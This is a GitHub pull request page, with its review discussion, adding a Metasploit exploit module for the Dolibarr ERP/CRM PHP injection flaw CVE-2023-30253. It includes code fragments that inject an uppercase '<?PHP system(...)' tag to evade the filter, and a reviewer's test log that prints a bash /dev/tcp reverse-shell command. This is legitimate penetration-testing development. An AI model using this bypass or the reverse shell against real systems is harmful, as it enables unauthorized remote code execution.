Skip to content

Add Dolibarr ERP/CRM authenticated RCE module (CVE-2023-30253)#21362

Open
M4nu02 wants to merge 2 commits intorapid7:masterfrom
M4nu02:dolibarr_cms_rce_cve_2023_30253
Open

Add Dolibarr ERP/CRM authenticated RCE module (CVE-2023-30253)#21362
M4nu02 wants to merge 2 commits intorapid7:masterfrom
M4nu02:dolibarr_cms_rce_cve_2023_30253

Conversation

@M4nu02
Copy link
Copy Markdown

@M4nu02 M4nu02 commented Apr 22, 2026

Adds an exploit module for CVE-2023-30253, an authenticated PHP code injection vulnerability in Dolibarr ERP/CRM before 17.0.1. The module bypasses the PHP tag filter using uppercase tags and achieves RCE via the Website module.

Tested against Dolibarr 17.0.0 and 14.0.0 on Linux (Docker).

Verification

  • Start msfconsole
  • use exploit/unix/http/dolibarr_cms_rce_cve_2023_30253
  • set RHOSTS <target>
  • set LHOST <your ip>
  • set USERNAME admin
  • set PASSWORD admin
  • run
  • Verify a reverse shell session opens
  • Verify the created website is deleted after the session opens
  • Verify the module aborts cleanly if the Website module is disabled
  • Document the module documentation is available via info -d

Setup

See the documentation file for Docker setup instructions:
documentation/modules/exploit/unix/http/dolibarr_cms_rce_cve_2023_30253.md

Adds an exploit module for CVE-2023-30253, an authenticated PHP code
injection vulnerability in Dolibarr ERP/CRM before 17.0.1. The module
bypasses the PHP tag filter using uppercase tags and achieves RCE via
the Website module.
Copy link
Copy Markdown
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf exploit(unix/http/dolibarr_cms_rce_cve_2023_30253) > run verbose=true 
[+] bash -c '0<&147-;exec 147<>/dev/tcp/172.19.0.1/4242;sh <&147 >&147 2>&147'
[*] Started reverse TCP handler on 172.19.0.1:4242 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable version detected: 17.0.0
[*] Attempting login as admin
[+] Successfully authenticated to Dolibarr
[*] Creating website: wklvypgq
[+] Website 'wklvypgq' created
[*] Creating page: gkkxld
[+] Page 'gkkxld' created with ID 1
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Payload injected, triggering...
[*] Command shell session 1 opened (172.19.0.1:4242 -> 172.19.0.3:54992) at 2026-04-30 15:53:07 +0200
[*] Cleaning up website 'wklvypgq'
[+] Website 'wklvypgq' deleted

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
fail_with(Failure::UnexpectedReply, 'Could not get CSRF token') if token.nil?

page_content = %(<section id="mysection1" contenteditable="true"><?PHP system("#{payload.encoded}"); ?></section>)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The mysection1 should be probably randomized

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done, the section ID is now randomized

end

def referer(path)
"http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, path)}"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If SSL is gonna be set to true, this will be incorrect. Also, do you really need this? I've tested the module without Referer header and it seemed to be working fine (?)

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I tested on 14.0.0 and without the Referer header the exploit doesn't work, it causes page creation to fail. I've kept the header but fixed the SSL issue by dynamically selecting http or https based on the SSL datastore option.
If you have any suggestions on how to improve this further I'm happy to hear them.

fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for website creation') if token.nil?

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
'uri' => normalize_uri(target_uri.path, 'website','index.php'),

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done

fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for page creation') if token.nil?

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
'uri' => normalize_uri(target_uri.path, 'website','index.php'),

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done

page_content = %(<section id="mysection1" contenteditable="true"><?PHP system("#{payload.encoded}"); ?></section>)

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
'uri' => normalize_uri(target_uri.path, 'website','index.php'),

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done

token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
fail_with(Failure::UnexpectedReply, 'Could not get CSRF token') if token.nil?

page_content = %(<section id="mysection1" contenteditable="true"><?PHP system("#{payload.encoded}"); ?></section>)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's also option to run PHP meterpreter instead of reverse shell here.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi, I already tried the php/meterpreter/reverse_tcp payload, but it generates a lowercase "<?php" tag which gets filtered out by Dolibarr's check.
The bypass specifically requires an uppercase variant like "<?PHP"

def get_website_id
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
'uri' => normalize_uri(target_uri.path, 'website','index.php'),

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done

def delete_page
token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
'uri' => normalize_uri(target_uri.path, 'website','index.php'),

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done


token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path, 'website/index.php'),
'uri' => normalize_uri(target_uri.path, 'website','index.php'),

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done

print_warning("Cleanup failed: #{e.message}")
end

super
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please move to top

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

4 participants